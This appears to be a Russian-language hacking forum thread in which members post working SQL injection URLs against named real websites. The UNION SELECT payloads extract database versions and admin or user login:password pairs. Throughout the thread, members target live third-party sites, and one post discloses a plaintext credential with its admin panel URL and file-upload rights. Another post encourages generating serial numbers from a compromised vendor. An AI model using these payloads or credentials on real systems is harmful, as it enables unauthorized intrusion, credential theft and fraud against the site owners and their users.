SQL Инъекции

Code:

http://reusablebags.com/facts.php?id=4+UNION+SELECT+1,2,3,concat(user(),char(58),version()),5,6,7/*

Code:

http://www.kiel.ru/?p=-1+UNION+SELECT+1,VERSION(),3,4,5--

 

PHP:

http://www.radioguerrilla.ro/show.php?id=-1+union+select+1,version(),3,user(),5,6,7,8,9,10,11/*

PHP:

http://www.cedu.ro/burse.php?id=-1+union+select+1,user(),version(),4/*

Таблицы не подобрал.

 

2 Constantine

Code:

http://www.kiel.ru/?p=-1+UNION+SELECT+1,concat(user,0x3a,password),3,4,5+from+mysql.user+limit+0,1/*

можно лимит поперебирать
на выходе MySQL4-hash

 

<noindex>
agrocombank.kiev.ua

Code:

http://www.agrocombank.kiev.ua/modules.php?op=modload&name=AStatic&file=index&sid=-1+union+select+1,2,3,4/*

Дальше не рисковал, без проксей =(

</noindex>

 

PHP:

http://www.jonnyguru.com/review_details.php?id=-1+union+select+1,version(),password,4,5,6,7,user(),9,10,11,12,13+from+users/*

 

=\

 

http://www.zaishu.com/shop.php?id=-13+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13+from+customers

 

=D наркоманы скрипт писали. Сайт ещё на китайском)) надо юзать convert, а хрен раззберёщшь какая там кодировка
Если кто знает китайский может раберётесь =)

 

а 4ё АЕС уже не в моде? =\

 

http://www.imagineenergy.net/shop.php?action=subcat&id=-2+union+select+1,2

 

Логины.

Пароли в md5.

Логин админа. Колонку с паролем админа не подобрал.

 

Colkru, элементарно, Ватсон

Code:

http://www.artbridge.ru/show_concurs.php?id=-1+union+select+1,2,3,concat(login,0x3a,passw),5,6,7,8,9,10,11,12,13,14+from+admins/*

 

Думаю так

Code:

http://www.artbridge.ru/show_concurs.php?id=-1+union+select+1,2,3,concat(login,char(58),password),5,6,7,8,9,10,11,12,13,14+from+users/*

будет удобнее.

 

Code:

http://www.eval-net.org/index.php?id=-19+union+select+1,2,concat(mail,char(58),passwd),4,5,6,7+FROM+eval_members/*

Спасибо за помощь }{0TT@БЬ)Ч

 

Комания девелопер вот такие прогеры пошли...хотя хз, может они просто торгаши
Ну тогда такие у нас торгаши

Code:

http://www.multidmedia.com/news/news.php?id=-62+union+select+1,2,concat(username,0x3a,password),4,5+from+admin_users

юзер\пасс в открытом виде.

Code:

http://www.multidmedia.com/admin

админка.

ЗЫ можете там серийников нахреначить сколько влезет А то чёт она 150 фунтов стоит...

 

2Constantine
вот все таблицы если надо больше инфы пиши в личку
kiel_mail
kiel_mess
kiel_news
kiel_rasp
kiel_razd
kiel_stud

 

www.eimearquinn.com/admin - админка

где это ты тут админку увидел? 0о

 

Code:

http://opel.avto-city.ru/catalog.php?id=-1+union+select+concat(login,0x3a,pass),2,3,4,5,6,7+from+admin/*

логин и пасс в чистом виде
opel:reklama
админка http://opel.avto-city.ru/admin/
есть права на загрузку любых файлов
=)

//тык-с)

2 Spyder: хз, не смотрел) лишь затестил, но скрипт не вызывал.. сейчас вижу)

 

2 n1†R0x
там СЕЙФ Мод Он вроде

 

PHP:

http://www.lauschangriff.org/index.php?id=-1+union+select+1,2,version(),4,5,6,7,8/*

PHP:

http://www.hs.aspu.ru/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9+from+users/*